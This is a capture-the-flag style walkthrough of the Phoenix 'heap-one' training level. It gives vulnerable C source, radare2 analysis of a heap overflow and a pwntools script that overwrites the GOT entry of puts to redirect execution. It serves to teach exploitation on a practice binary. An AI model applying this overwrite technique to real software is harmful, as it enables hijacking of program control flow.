> For the complete documentation index, see [llms.txt](https://ir0nstone.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ir0nstone.gitbook.io/notes/binexp/heap/heap-overflow/heap1.md).

# heap1

http\://exploit.education/phoenix/heap-one/

## Source

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>

struct heapStructure {
  int priority;
  char *name;
};

int main(int argc, char **argv) {
  struct heapStructure *i1, *i2;

  i1 = malloc(sizeof(struct heapStructure));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct heapStructure));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}

void winner() {
  printf(
      "Congratulations, you've completed this level @ %ld seconds past the "
      "Epoch\n",
      time(NULL));
}
```

## Analysis

This program:

* Allocates a chunk on the heap for the `heapStructure`
* Allocates another chunk on the heap for the `name` of that `heapStructure`
* Repeats the process with another `heapStructure`
* Copies the two command-line arguments to the `name` variables of the `heapStructures`
* Prints something

### Regular Execution

Let's break on and after the first `strcpy`.

```
$ r2 -d -A heap1 AAAA BBBB
```

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MGXqxPFuvD5mPT1hD7I%2F-MGXscIyn9UQxRNVoYmq%2Fimage.png?alt=media\&token=b5bbc14d-3a09-4b1b-a882-ac4d2e1dcf09)

As we expected, we have two pairs of `heapStructure` and `name` chunks. We know the `strcpy` will be copying into wherever `name` points, so let's read the contents of the first `heapStructure`. Maybe this will give us a clue.

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MGXqxPFuvD5mPT1hD7I%2F-MGXszAGF7wK97aFhnrw%2Fimage.png?alt=media\&token=d89a1bbb-8063-423b-a932-c1840947dbbd)

Look! The `name` pointer points to the `name` chunk! You can see the value `0x602030` being stored.

This isn't particularly a revelation in itself - after all, we **knew** there was a pointer in the chunk. But now we're certain, and we can *definitely* overwrite this pointer due to the lack of bounds checking. And because we can also control the value being **written**, this essentially gives us an arbitrary write!

And where better to target than the GOT?

## Exploitation

The plan, therefore, becomes:

* Pad until the location of the pointer
* Overwrite the pointer with the GOT address of a function
* Set the second parameter to the address of `winner`
* Next time the function is called, it will call `winner`&#x20;

But what function should we overwrite? The only function called after the `strcpy` is `printf`, according to the source code. And if we overwrite `printf` with `winner` it'll just recursively call itself forever.

Luckily, compilers like `gcc` compile `printf` as `puts` if there are no parameters - we can see this with radare2:

```
$ r2 -d -A heap1
$ s main; pdf
[...]
0x004006e6      e8f5fdffff     call sym.imp.strcpy         ; char *strcpy(char *dest, const char *src)
0x004006eb      bfa8074000     mov edi, str.and_that_s_a_wrap_folks ; 0x4007a8 ; "and that's a wrap folks!"
0x004006f0      e8fbfdffff     call sym.imp.puts
```

So we can simply overwrite the GOT address of `puts` with `winner`. All we need to find now is the padding until the pointer and then we're good to go.

```
$ ragg2 -P 200 -r
AABAA...
```

```
$ r2 -d -A heap1 AAABAA... 0000
```

Break on and after the `strcpy` again and analyse the second chunk's `name` pointer.

![](https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MGXtmPU4rIMHol3Dswa%2F-MGXx3IFBF5k8EaIaTqJ%2Fimage.png?alt=media\&token=6157c54b-ccc3-4f6c-9fef-d71e3469f079)

The pointer is originally at `0x8d9050`; once the strcpy occurs, the value there is `0x41415041414f4141`.

```
[0x004006cd]> wopO 0x41415041414f4141
40
```

The offset is **40**.

### Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./heap1', checksec=False)

param1 = (b'A' * 40 + p64(elf.got['puts'])).replace(b'\x00', b'')
param2 = p64(elf.sym['winner']).replace(b'\x00', b'')

p = elf.process(argv=[param1, param2])

print(p.clean().decode('latin-1'))
```

Again, null bytes aren't allowed in parameters so you have to remove them.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ir0nstone.gitbook.io/notes/binexp/heap/heap-overflow/heap1.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
